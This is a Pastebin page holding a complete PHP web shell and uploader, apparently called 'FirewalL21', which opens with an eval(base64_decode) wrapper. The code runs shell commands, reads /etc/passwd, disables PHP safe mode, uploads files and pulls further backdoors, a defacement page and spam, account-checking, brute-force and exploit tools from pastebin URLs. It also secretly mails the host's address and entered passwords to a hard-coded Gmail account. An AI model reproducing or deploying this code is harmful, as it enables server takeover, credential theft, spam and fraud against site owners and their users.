Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- eval(base64_decode(("
- 

if(isset($_GET['dir'])) {
    $dir = $_GET['dir'];
    chdir($_GET['dir']);
} else {
    $dir = getcwd();
}
$dir = str_replace("\\","/",$dir);
$scdir = explode("/", $dir);
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=#FDF105>OFF</font>";
$ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
$ds = @ini_get("disable_functions");
$mysql = (function_exists('mysql_connect')) ? "<font color=#FDF105>ON</font>" : "<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=#FDF105>ON</font>" : "<font color=red>OFF</font>";
$wget = (exe('wget --help')) ? "<font color=#FDF105>ON</font>" : "<font color=red>OFF</font>";
$perl = (exe('perl --help')) ? "<font color=#FDF105>ON</font>" : "<font color=red>OFF</font>";
$python = (exe('python --help')) ? "<font color=#FDF105>ON</font>" : "<font color=red>OFF</font>";
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=#FDF105>NONE</font>";
if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
$d0mains = @file("/etc/named.conf");
            $users=@file('/etc/passwd');
        if($d0mains)
        {
            $count;
            foreach($d0mains as $d0main)
            {
                if(@ereg("zone",$d0main))
                {
                    preg_match_all('#zone "(.*)"#', $d0main, $domains);
                    flush();
                    if(strlen(trim($domains[1][0])) > 2)
                    {
                        flush();
                        $count++;
                    }
                }
            }
        }

$sport=$_SERVER['SERVER_PORT'];
echo "<table style='width:100%'>";
echo "<tr><td>System: <font color=#FDF105>".php_uname()."</font></td></tr>";
echo "<tr><td>User: <font color=#FDF105>".$user."</font> (".$uid.") Group: <font color=#FDF105>".$group."</font> (".$gid.")</td></tr>";
echo "<tr><td>Server IP: <font color=#FDF105>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=#FDF105>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
echo "<tr><td>HDD: <font color=#FDF105>".hdd(disk_free_space("/"))."</font> / <font color=#FDF105>".hdd(disk_total_space("/"))."</font></td></tr>";
echo "<tr><td>Websites :<font color=#FDF105> $count </font> Domains</td></tr>";
echo "<tr><td>Port :<font color=#FDF105>  $sport</font> </td></tr>";
echo "<tr><td>Safe Mode: $sm</td></tr>";
echo "<tr><td>Disable Functions: $show_ds</td></tr>";
echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr>";
echo "<tr><td>Current DIR: ";
foreach($scdir as $c_dir => $cdir) {
    echo "<a href='?dir=";
    for($i = 0; $i <= $c_dir; $i++) {
        echo $scdir[$i];
        if($i != $c_dir) {
        echo "/";
        }
    }
    echo "'>$cdir</a>/";
}

if(isset($_FILES['file']['name'])){
$filename = $_FILES['file']['name'];
$path = $_POST['path'];
if(!move_uploaded_file($_FILES['file']['tmp_name'], $path.'/'.$_FILES['file']['name']))die("Failed to Upload File");
else {
    header('Location: '.$filename);
    exit;
}
}
?>
<form action="
<?php echo basename(__FILE__); ?>
" method='post' enctype='multipart/form-data' target='_blank'>
File : <input type='file' name='file' size='25' />
<br>
Path : <input type='text' name='path' size='25' value="
<?php echo getcwd();?>" /><br>
<input type='submit' name='submit' value='Submit' />
</form>

<?php
$up = " <html>
<head>
<title>Uploader By FirewalL21</title>
</head>
<body>
<center>
<h1><font face=\"Tahoma\" size=\5\" color=\"#blue\">FirewalL21 Uploader</font></h1>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">
<table border=\"1\">
<tr>
<td bgcolor=\"#000000\">
<font color=\"#00ff00\">
<input type=\"file\" name=\"file\" size=\"50\">
<td bgcolor=\"#ff0000\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload File\">
</td>
</td>
</tr>
</table>
</form>
</center>
</body>";
if( $_POST['_upl'] == "Upload File" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b><center>
<font face=\"Tahoma\" size=\"5\" color=\"#ff0000\">SUKSES UPLOAD MASTAH !!</center></b>';
}
else {
echo '
<font face=\"Tahoma\" size=\"5\" color=\"#ff0000\"><center><b>GAGAL UPLOAD MASTAH !</b>';
}
}
if(isset($_GET["0upload"])){
echo "$up";
}
/////////////////////////////
 if(isset($_GET["0cek"])){
echo "Password E :".$auth_pass;
 }
/////////////////////////////
if (file_exists('.db'))
 {  } else {
/*$to = "aksesroot1337@gmail.com";
$subject = $_SERVER['SERVER_NAME'];
$header = "From: Mastah <jancok@matamucok.com>";
$message = "Exploit : http://". $_SERVER['SERVER_NAME']. $_SERVER['REQUEST_URI'];
mail($to, $subject, $message, $header);*/
$pass1 = $_SESSION['pass'];
$pass2 = $_POST['pass'];
$ip = $_SERVER['SERVER_ADDR'];
$info = $_SERVER['HTTP_HOST'].'/'.$_SERVER['PHP_SELF'];
$msg = "Host: $info | Session Pass: $pass1 & Post Pass: $pass2";
mail("aksesroot1337@gmail.com","Uploader FirewalL21: $ip",$msg);
$m = fopen(".db", "w") or die (" ");
$txt = "";
fwrite($m, $txt);
fclose($m);
chmod(".db",0644); }
/////////////////////////////
 if(isset($_GET["0shell"])){
$anak1 = file_get_contents("https://pastebin.com/raw/7jeWTNg9");
$nggawe1 = fopen("actshellv2.php","w") or die ("gabisa bro");
fwrite($nggawe1,$anak1);
fclose($nggawe1);
header ("Location:actshellv2.php");
chmod("actshellv2.php",0644);}
//////////////////////////////
if(isset($_GET["0deface"])){
$anak = file_get_contents("https://pastebin.com/raw/HymYrpHG");
$nggawe = fopen("firewall21.htm","w") or die ("gabisa bro");
fwrite($nggawe,$anak);
fclose($nggawe);
header ("Location:firewall21.htm");}
?>

<?php
if (file_exists("php.ini")){
}else{
$img = fopen('php.ini', 'w');
$sec = "safe_mode = OFF
disable_funtions = NONE";
fwrite($img ,$sec);
fclose($img);}
function w($dir,$perm) {
    if(!is_writable($dir)) {
        return "<font color=red>".$perm."</font>";
    } else {
        return "<font color=#FDF105>".$perm."</font>";
    }
}
function exe($cmd) {
if(function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif(function_exists('exec')) {
        @exec($cmd,$results);
        $buff = "";
        foreach($results as $result) {
            $buff .= $result;
        } return $buff;
    } elseif(function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @ob_end_clean();
        return $buff;
    } elseif(function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function hdd($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}
if(get_magic_quotes_gpc()) {
    function act_ss($array) {
        return is_array($array) ? array_map('act_ss', $array) : stripslashes($array);
    }
    $_POST = act_ss($_POST);
}
function CreateTools($names,$lokasi){
    if ( $_GET['create'] == $names ){
        $a= "".$_SERVER['SERVER_NAME']."";
$b= dirname($_SERVER['PHP_SELF']);
$c = "/act_tools/".$names.".php";
if (file_exists('act_tools/'.$names.'.php')){
    echo '<script type="text/javascript">alert("Done");window.location.href = "act_tools/'.$names.'.php";</script> ';
    }
    else {mkdir("act_tools", 0777);
file_put_contents('act_tools/'.$names.'.php', file_get_contents($lokasi));
echo ' <script type="text/javascript">alert("Done");window.location.href = "act_tools/'.$names.'.php";</script> ';}}}

CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
CreateTools("uploader","http://pastebin.com/raw/t1xCDetH");
CreateTools("b374k","https://pastebin.com/raw/kUDqwhcw");
CreateTools("merica","https://pastebin.com/raw/FH4bkCjG");
CreateTools("act","https://pastebin.com/raw/QMUPdpT2");
CreateTools("brudul","https://pastebin.com/raw/m5xt2tkN");
CreateTools("minishell","https://pastebin.com/raw/ECstNap8");
CreateTools("idx","https://pastebin.com/raw/vwR36KQe");
CreateTools("badcode","https://pastebin.com/raw/S4PTh4Zt");
CreateTools("terserah","https://pastebin.com/raw/hUhtziUF");
CreateTools("1337cpcrack","https://pastebin.com/raw/MZgnsMph");
CreateTools("md5cheker","https://pastebin.com/raw/CtPsRW4V");
CreateTools("xaishell","https://pastebin.com/raw/G7w6mcma");
CreateTools("sbhshell","https://pastebin.com/raw/pvhCwmUD");
CreateTools("explodedshell","https://pastebin.com/raw/Pq8vX4Ha");
CreateTools("cybernetic","https://pastebin.com/raw/XH5e9uaT");
CreateTools("4041shell","https://pastebin.com/raw/5eSDDcn4");
CreateTools("simplewebshell","https://pastebin.com/raw/VxzVYTXt");
CreateTools("verysimplewebshell","https://pastebin.com/raw/k9JE1gqB");
CreateTools("unixzershell","https://pastebin.com/raw/Nmq10MPh");
CreateTools("keydownshell","https://pastebin.com/raw/CCCAbNWk");
CreateTools("pastigantengshell","https://pastebin.com/raw/DJjF8Ay7");
CreateTools("x48xmini","https://pastebin.com/raw/Ksz6Gmwf");
CreateTools("nusantarashell","https://pastebin.com/raw/ZQwwMQfE");
CreateTools("tatsumishell","https://pastebin.com/raw/brKm8GiD");
CreateTools("mini","https://pastebin.com/raw/ABRBUB6r");
CreateTools("bcashell","https://pastebin.com/raw/4UWMuY8Y");
CreateTools("getcmd","https://pastebin.com/raw/gXBJQzEv");
CreateTools("chomdshell","https://pastebin.com/raw/vmfAPB4j");
CreateTools("bhtshell","https://pastebin.com/raw/xQKBTUzN");
CreateTools("sbsshell","https://pastebin.com/raw/JRNFhDgc");
CreateTools("2016shell","https://pastebin.com/raw/6xK2sRRF");
CreateTools("AZZATSSINS","https://pastebin.com/raw/LSefTGVY");
CreateTools("devilshell","https://pastebin.com/raw/6Q4Jx8Gy");
CreateTools("azzatshinshell","https://pastebin.com/raw/KU3Z8Apc");
CreateTools("indoshell","https://pastebin.com/raw/yUE35Km6");
CreateTools("actanime","https://pastebin.com/raw/BQ5gZhvf");
CreateTools("actdarknet","https://pastebin.com/raw/bBiCZAxB");
CreateTools("firewall21mini","https://pastebin.com/raw/Zt4cNaj5");
CreateTools("networkbackdoor","https://pastebin.com/raw/F2XKnL4j");
CreateTools("cupidshell","https://pastebin.com/raw/92weSZLH");
CreateTools("priv7shell","https://pastebin.com/raw/9S3MG9kC");
CreateTools("valid404","https://pastebin.com/raw/xT0VNwXd");



CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
CreateTools("bsm","https://pastebin.com/raw/quFvZCsC");
CreateTools("mailersender","https://pastebin.com/raw/fqAC5z8x");
CreateTools("priv8","http://w32.info/");
CreateTools("cccheker","https://www.tools4noobs.com/online_tools/credit_card_validate/");
CreateTools("ppcheker","http://kevin-al.blogspot.co.id/2016/07/paypal-valid-email-checker-fresh.html");
CreateTools("amazoncheker","http://mr.who.timecapsule.my/amazon.php");
CreateTools("ppemail","https://pastebin.com/raw/XqYDYJdx");
CreateTools("smtp","https://pastebin.com/raw/rsxFPeUJ");
CreateTools("hotmailinbox","https://pastebin.com/raw/VQViJAuZ");
CreateTools("MassMailerbyF4jzar-xCyb3r207","https://pastebin.com/raw/MPE4qA3t");
CreateTools("MassMaillerInbox","https://pastebin.com/raw/zRgTLeDe");
CreateTools("EmailFilter","https://pastebin.com/raw/iBU0PxHF");
CreateTools("amazonemailchecker","https://pastebin.com/raw/yfekEGHB");
CreateTools("ebayemailchecker","https://pastebin.com/raw/DCcEpdsg");
CreateTools("databaseemailsextractor","https://pastebin.com/raw/AEpR3yUf");
CreateTools("bukalapakaccountchecker","https://pastebin.com/raw/ijTWjTx1");
CreateTools("tokopediachecker","https://pastebin.com/raw/RCFsMU1m");


CreateTools("MagentoCMSBruteForceAdminLogin","https://pastebin.com/raw/xBm9hkJj");
CreateTools("CSRFXploiterOnline","https://pastebin.com/raw/hNYtB9uD");
CreateTools("WordPressU-DesignThemesUploadifyDorker","https://pastebin.com/raw/SugbQ2JF");
CreateTools("ShellShockXploiter","https://pastebin.com/raw/mSbapdPk");
CreateTools("ShellShockAutoXploitReverseShell","https://pastebin.com/raw/9Pz9BuGW");
CreateTools("WebdavMassXploiterIP","https://pastebin.com/raw/6RtnBXdU");
CreateTools("POPOJICMSAddAdminAutoRegistration","https://pastebin.com/raw/8Zgt6Dyt");
CreateTools("SQLDorkScannerviaBingDorker","https://pastebin.com/raw/5c5QeHWk");
CreateTools("PrestashopModulesBlocktestimonialFileUpload","https://pastebin.com/raw/pggutE9g");
CreateTools("WebConsole","https://pastebin.com/raw/55U7JQKq");
CreateTools("LocalRootExploiter","https://pastebin.com/raw/zazkeBhp");
CreateTools("binchecker","https://pastebin.com/raw/6YqkMJNt");
CreateTools("drupalcore","https://pastebin.com/raw/xaqc243R");
CreateTools("krimou","https://pastebin.com/raw/65T9PsSD");
CreateTools("massrevslider","https://pastebin.com/raw/H3jxh85J");
CreateTools("extract","https://pastebin.com/raw/mPrZnL0z");
CreateTools("reverseiplookup","https://pastebin.com/raw/78suuEVr");
CreateTools("safemode","https://pastebin.com/raw/Aw5kdpDZ");
CreateTools("symlinkbased","https://pastebin.com/raw/2B4q1Aua");
CreateTools("ConfigWordpressandJoomlaGrabber","https://pastebin.com/raw/pU4W4ZG9");
CreateTools("WP2","https://pastebin.com/raw/iZ7p8Yer");
CreateTools("autocreatesudomain","https://pastebin.com/raw/3fjCAA32");
CreateTools("MiniMassAutoXploiterOnlyToolsv1.0","https://pastebin.com/raw/TycS3kyn");
CreateTools("SCANSERVER","https://pastebin.com/raw/dc0ifz9s");
CreateTools("ownLFI|t00lkitv1.0","https://pastebin.com/raw/TVYGG6Cm");
CreateTools("PHPInfo","https://pastebin.com/raw/P0n2hJYk");
CreateTools("m0bil3xTSQLiScanner","https://pastebin.com/raw/sVqaEu5L");
CreateTools("ExploitsWordpressLFD","https://pastebin.com/raw/4hTLL5TV");
CreateTools("xSec-BackDoorGenerator","https://pastebin.com/raw/h10CHhbg");
CreateTools("Bypass[LiteSpeed-Nginx-Apache]","https://pastebin.com/raw/7BGc9Dcx");
CreateTools("UploadFileUsingfile_get_contents","https://pastebin.com/raw/Hc9die2K");
CreateTools("ProxyByRoot","https://pastebin.com/raw/rrCD0Mvn");
CreateTools("ReadFileUsing3Function","https://pastebin.com/raw/jXqRXVsS");
CreateTools("MySQLQueryCommandExecute","https://pastebin.com/raw/v1Wq6avm");
CreateTools("CreateHtaccess","https://pastebin.com/raw/bqGe05Fc");
CreateTools("SimpleBypasser","https://pastebin.com/raw/szk2PMfh");
CreateTools("SearchForBlindSQLInjectionvBulltein","https://pastebin.com/raw/nq28fY8v");
CreateTools("GetallSite","https://pastebin.com/raw/fs77hwNb");
CreateTools("ScannerSh3LL","https://pastebin.com/raw/UDS6Z49k");
CreateTools("BypassSuPHPVersion2[Sfa7trick]","https://pastebin.com/raw/ARmNUeMS");
CreateTools("ExtractUsersFromPasswd","https://pastebin.com/raw/j7PNhzBa");
CreateTools("BypassMethodNotimplemented","https://pastebin.com/raw/YiJBG0EB");
CreateTools("GetWordpressUser","https://pastebin.com/raw/Sanh5pwV");
CreateTools("WordpressKiller","https://pastebin.com/raw/R6cx1m57");
CreateTools("3mlaqGamesExploitByxSecurity","https://pastebin.com/raw/R72xMbL8");
CreateTools("ExtractEmails","https://pastebin.com/raw/KSyFqBaz");
CreateTools("SearchForExploitViaExploit-DB","https://pastebin.com/raw/sbbAF9b3");
CreateTools("Extract[id-username-password-salt-email]","https://pastebin.com/raw/nSP6edw9");
CreateTools("GetToolsFromYourAppServ","https://pastebin.com/raw/xjdUUVY0");
CreateTools("Checkingjoomla1.6-1.7Registration","https://pastebin.com/raw/Z9PCsZyj");
CreateTools("LoginFormWithSESSIONWithoutConnectToDatabase","https://pastebin.com/raw/PFtN2Nyj");
CreateTools("GenerateXMLPluginvBulletin[ajax.php]","https://pastebin.com/raw/ynJiFvET");
CreateTools("RCIJoomlaExploitPHPVersion","https://pastebin.com/raw/5G14CVaN");
CreateTools("KleejaXMLPluginGenerator","https://pastebin.com/raw/1S54W5Tq");
CreateTools("JoomlaBruteForce","https://pastebin.com/raw/D2CLHxeS");
CreateTools("4imagesBruteForce","https://pastebin.com/raw/Pc2e6LxR");
CreateTools("BruteForceAllWordpressOnServer","https://pastebin.com/raw/i42SN5z1");
CreateTools("SkypeBruteForcePHPVersion","https://pastebin.com/raw/sjEeHwtk");
CreateTools("twitterbruteforce","https://pastebin.com/raw/duJhmXKs");
CreateTools("Ask.FmBruteForceByxSecurity","https://pastebin.com/raw/uwqMW0pV");
CreateTools("DimofinfBruteForce","https://pastebin.com/raw/h0w1emPW");
CreateTools("grabbersqlisitesfromip","https://pastebin.com/raw/nMFKHzAa");
CreateTools("ProtectFolderViaHtaccess","https://pastebin.com/raw/3NcMbhNd");
CreateTools("AddHttp","https://pastebin.com/raw/HxkQf1La");
CreateTools("WordPressNativeChurchthemeLFIscanner","https://pastebin.com/raw/dMjmXHvV");
CreateTools("kumpulanlocalroot","http://www.anoncyberteam.org/2018/01/kumpulan-exploit-localroot.html");
CreateTools("bypasscloudflare","https://pastebin.com/raw/kDYVABNx");
CreateTools("allbypass","https://pastebin.com/raw/2qgmjf3A");

echo "</td></tr></table><hr>";
echo "<div id='menu'>";
echo "<center><hr><form>
<select onchange='if (this.value) window.open(this.value);'>
   <option selected='selected' value=''>Shell Backdoor</option>
   <option value='$ling=wso'>WSO 2.8.1</option>
   <option value='$ling=injection'>1n73ction v3</option>
   <option value='$ling=dhanus'>Dhanush Shell</option>
   <option value='$ling=r57'>R57 Shell</option>
   <option value='$ling=encodedecode'>Encode Decode</option>
   <option value='$ling=uploader'>Uploader</option>
   <option value='$ling=b374k'>b374k Shell</option>
   <option value='$ling=merica'>Shell Merica</option>
   <option value='$ling=act'>Act Shell V.1</option>
   <option value='$ling=brudul'>Brudul Shell</option>
   <option value='$ling=minishell'>Mini Shell</option>
   <option value='$ling=idx'>Indoxploit Shell v3 1</opiton>
   <option value='$ling=badcode'>Shell Badcode</option>
   <option value='$ling=xaishell'>Xai Syndicate shell</option>
   <option value='$ling=sbhshell'>Surabaya BlackHat shell</option>
   <option value='$ling=explodedshell'>Exploded Shell Backdoor v1.5 1 Mini</option>
   <option value='$ling=cybernetic'>CyberNetic v2 (BANGLADESH CYBER ARMY) Shell 1</option>
   <option value='$ling=4041shell'>4041 Shell Backdoor</option>
   <option value='$ling=simplewebshell'>SIMPLE WEBSHELL BACKDOOR V2,8 1</option>
   <option value='$ling=verysimplewebshell'>Very Simple web shell</option>
   <option value='$ling=unixzershell'>UnixZer Shell Backdoor</option>
   <option value='$ling=keydownshell'>KeyDown Priv8 Shell Backdoor</option>
   <option value='$ling=pastigantengshell'>PastiGanteng Shell Backdoor</option>
   <option value='$ling=x48xmini'>x48x Mini Web Shell Backdoor</option>
   <option value='$ling=nusantarashell'>NosantaraOs Backdoor</option>
   <option value='$ling=tatsumishell'>Tatsumi shell Backdoor</option>
   <option value='$ling=mini'>Mini Shell</option>
   <option value='$ling=bcashell'>BCA Private shell</option>
   <option value='$ling=getcmd'>Request CmD PHP info</option>
   <option value='$ling=chomdshell'>./ChmoD priv8 shell backdoor</option>
   <option value='$ling=bhtshell'>Brazzilian Hacker Team shell backdoor</option>
   <option value='$ling=sbsshell'>Scurity Brazilian Shell</option>
   <option value='$ling=2016shell'>2016 SHELL BACKDOOR</option>
   <option value='$ling=azzatshins'> AZZATSSIN5HELL</option>
   <option value='$ling=devilshell'>DEVIL SHELL</option>
   <option value='$ling=azzatshinshell'>AZZATSSINS SHELL BACKDOOR</option>
   <option value='$ling=indoshell'>INDONESIA SHELL</option>
   <option value='$ling=actanime'>ACTShellV.2 Anime</option>
   <option value='$ling=actdarknet'>ACTShellV.2 Darknet</option>
   <option value='$ling=firewall21mini'>FirewalL21 Mini</option>
   <option value='$ling=valid404'>Valid 404 Backdoor</option>
   <option value='$ling=networkbackdoor'>Network Backdoor</option>
   <option value='$ling=cupidshell'>CUPID SHELL</option>
   <option value='$ling=priv7shell'>PRIV7 Shell Backdoor</option>
   <option value='$ling=1337cpcrack'>1337 Cp Crack</option>
   <option value='$ling=md5cheker'>MD5 CHECKER</option>
</select>

<select onchange='if (this.value) window.open(this.value);'>
   <option selected='selected' value=''> Tools Spammer </option>
   <option value='$ling=promailerv2'>Pro Mailer V2</option>
   <option value='$ling=tokenpp'>Paypal Token Generator</option>
   <option value='$ling=mailer'>Mailer</option>
   <option value='$ling=mailersender'>Mailer Mass send V.2 </option>
   <option value='$ling=bsm'>Black Space Mailer </option>
   <option value='$ling=priv8'>priv 8 Tools</option>
   <option value='$ling=cccheker'>Online credit card validator </option>
   <option value='$ling=ppcheker'>PayPal Valid Email Checker [ Fresh ] </option>
   <option value='$ling=amazoncheker'>[ $ ] AmazOn Valid Checker [ $ ]</option>
   <option value='$ling=ppemail'>Paypal Email Valid checker</option>
   <option value='$ling=smtp'>Priv8 Smtp & Other Setup</option>
   <option value='$ling=hotmailinbox'>Hotmail inbox</option>
   <option value='$ling=MassMailerbyF4jzar-xCyb3r207'>Mass Mailer by F4jzar-xCyb3r207</option>
   <option value='$ling=MassMaillerInbox'>Mass Mailler Inbox</option>
   <option value='$ling=EmailFilter'>Email Filter</option>
   <option value='$ling=amazonemailchecker'>AMAZON Email Checker</option>
   <option value='$ling=ebayemailchecker'>EBay Email Checker</option>
   <option value='$ling=databaseemailsextractor'>Database Emails Extractor</option>
   <option value='$ling=bukalapakaccountchecker'>BukaLapak Account Checker</option>
   <option value='$ling=tokopediachecker'>Tokopedia Checker</option>



</select>
<select onchange='if (this.value) window.open(this.value);'>
    <option selected='selected' value=''> Tools Exploiter </option>
    <option value='$ling=fileuploadphpmyadmin'>Auto File Upload phpMyAdmin</option>
    <option value='$ling=MagentoCMSBruteForceAdminLogin'>Magento CMS BruteForce Admin Login</option>
    <option value='$ling=CSRFXploiterOnline'>CSRF Xploiter Online</option>
    <option value='$ling=WordPressU-DesignThemesUploadifyDorker'>WordPress U-Design Themes Uploadify Dorker</option>
    <option value='$ling=ShellShockXploiter'>ShellShock Xploiter (WebBased)</option>
    <option value='$ling=ShellShockAutoXploitReverseShell'>ShellShock Auto Xploit & Reverse Shell</option>
    <option value='$ling=WebdavMassXploiterIP'>Webdav Mass Xploiter IP</option>
    <option value='$ling=POPOJICMSAddAdminAutoRegistration'>POPOJI CMS Add Admin Auto Registration</option>
    <option value='$ling=SQLDorkScannerviaBingDorker'>SQL Dork Scanner via Bing Dorker [ Web ]</option>
    <option value='$ling=PrestashopModulesBlocktestimonialFileUpload'>Prestashop Modules Blocktestimonial File Upload</option>
    <option value='$ling=WebConsole'>WebConsole</option>
    <option value='$ling=LocalRootExploiter'>Local Root Exploiter by Makman ( No BackConnect )</option>
    <option value='$ling=binchecker'>Bin Checker</option>
    <option value='$ling=drupalcore'>Drupal core 7.x</option>
    <option value='$ling=krimou'>KrimOu CPanel Cracker Script & Root Server</option>
    <option value='$ling=massrevslider'>Mass Revslider Exl0it1ng</option>
    <option value='$ling=extract'>Extract Emails From WordPress–Joomla–OpenCart–WHMCS</option>
    <option value='$ling=reverseiplookup'>Reverse Ip Lookup Domain</option>
    <option value='$ling=safemode'>Bypass SafeMode</option>
    <option value='$ling=symlinkbased'>Symlink Based cPanel</option>
    <option value='$ling=ConfigWordpressandJoomlaGrabber'>Config Wordpress and Joomla Grabber</option>
    <option value='$ling=WP2'>WP2</option>
    <option value='$ling=autocreatesudomain'>auto create sudomain</option>
    <option value='$ling=MiniMassAutoXploiterOnlyToolsv1.0'>Mini Mass Auto Xploiter Only Tools v1.0</option>
    <option value='$ling=SCANSERVER'>SCAN SERVER</option>
    <option value='$ling=ownLFI|t00lkitv1.0'>ownLFI| t00lkit v1.0 | By Asesino04</option>
    <option value='$ling=PHPInfo'>PHP Info</option>
    <option value='$ling=m0bil3xTSQLiScanner'>m0bil3_xT's SQLi Scanner</option>
    <option value='$ling=ExploitsWordpressLFD'>Exploits Wordpress LFD</option>
    <option value='$ling=xSec-BackDoorGenerator'>xSec-BackDoor Generator [ Create Your Own Backdoor ]</option>
    <option value='$ling=Bypass[LiteSpeed-Nginx-Apache]'>Bypass [ LiteSpeed - Nginx - Apache ] By b0x</option>
    <option value='$ling=UploadFileUsingfile_get_contents'>Upload File Using file_get_contents</option>
    <option value='$ling=ProxyByRoot'>Proxy By Root</option>
    <option value='$ling=ReadFileUsing3Function>Read File Using 3 Function 1</option>
    <option value='$ling=MySQLQueryCommandExecute'>MySQL Query Command Execute</option>
    <option value='$ling=CreateHtaccess'>Create Htaccess</option>
    <option value='$ling=SimpleBypasser'>Simple Bypasser [ fopen + file_get_contents ]</option>
    <option value='$ling=SearchForBlindSQLInjectionvBulltein'>Search For Blind SQL Injection vBulltein By List</option>
    <option value='$ling=GetallSite'>Get all Site Server</option>
    <option value='$ling=ScannerSh3LL'>Scanner Sh3LL'z & Dir'z</option>
    <option value='$ling=BypassSuPHPVersion2[Sfa7trick]'>Bypass SuPHP Version 2 [ Sfa7 trick ]</option>
    <option value='$ling=ExtractUsersFromPasswd'>Extract Users From Passwd</option>
    <option value='$ling=BypassMethodNotimplemented'>Bypass Method Not implemented</option>
    <option value='$ling=GetWordpressUser'>Get Wordpress User</option>
    <option value='$ling=WordpressKiller'>Wordpress Killer</option>
    <option value='$ling=3mlaqGamesExploitByxSecurity'>3mlaq Games Exploit</option>
    <option value='$ling=ExtractEmails'>Extract Emails From OpenCart CMS</option>
    <option value='$ling=SearchForExploitViaExploit-DB'>Search For Exploit Via Exploit-DB</option>
    <option value='$ling=Extract[id-username-password-salt-email]'>Extract [id-username-password-salt-email]</option>
    <option value='$ling=GetToolsFromYourAppServ'>Get Tools From Your AppServ</option>
    <option value='$ling=Checkingjoomla1.6-1.7Registration'>Checking joomla 1.6 - 1.7 Registration</option>
    <option value='$ling=LoginFormWithSESSIONWithoutConnectToDatabase'>Login Form With SESSION Without Connect To Database</option>
    <option value='$ling=GenerateXMLPluginvBulletin[ajax.php]'>Generate XML Plugin vBulletin [ ajax.php ]</option>
    <option value='$ling=RCIJoomlaExploitPHPVersion'> RCI Joomla Exploit PHP Version</option>
    <option value='$ling=KleejaXMLPluginGenerator'>Kleeja XML Plugin Generator</option>
    <option value='$ling=JoomlaBruteForce'>Joomla Brute Force</option>
    <option value='$ling=4imagesBruteForce'>4images Brute Force</option>
    <option value='$ling=BruteForceAllWordpressOnServer'>Brute Force All Wordpress On Server</option>
    <option value='$ling=SkypeBruteForcePHPVersion'>Skype Brute Force PHP Version</option>
    <option value='$ling=twitterbruteforce'>Twitter Brute Force</option>
    <option value='$ling=Ask.FmBruteForceByxSecurity'>Ask.Fm Brute Force</option>
    <option value='$ling=DimofinfBruteForce'>Dimofinf Brute Force</option>
    <option value='$ling=grabbersqlisitesfromip'>grabber sqli sites from ip</option>
    <option value='$ling=ProtectFolderViaHtaccess'>Protect Folder Via Htaccess</option>
    <option value='$ling=AddHttp'>Add Http:// to sites</option>
    <option value='$ling=WordPressNativeChurchthemeLFIscanner'>WordPress NativeChurch theme LFI scanner</option>
    <option value='$ling=kumpulanlocalroot'>Kumpulan LocalRoot Exploiter</option>
    <option value='$ling=allbypass'>All Bypasser</option>

</select>
<noscript><input type='submit' value='Submit'></noscript>
</form>Copyright &copy; ".date("Y")." - <b><a href='http://www.anoncyberteam.org/' target='_blank'><font size='3' color=00ffd2>www.anoncyberteam.org</font></a><b> </center>";
?>
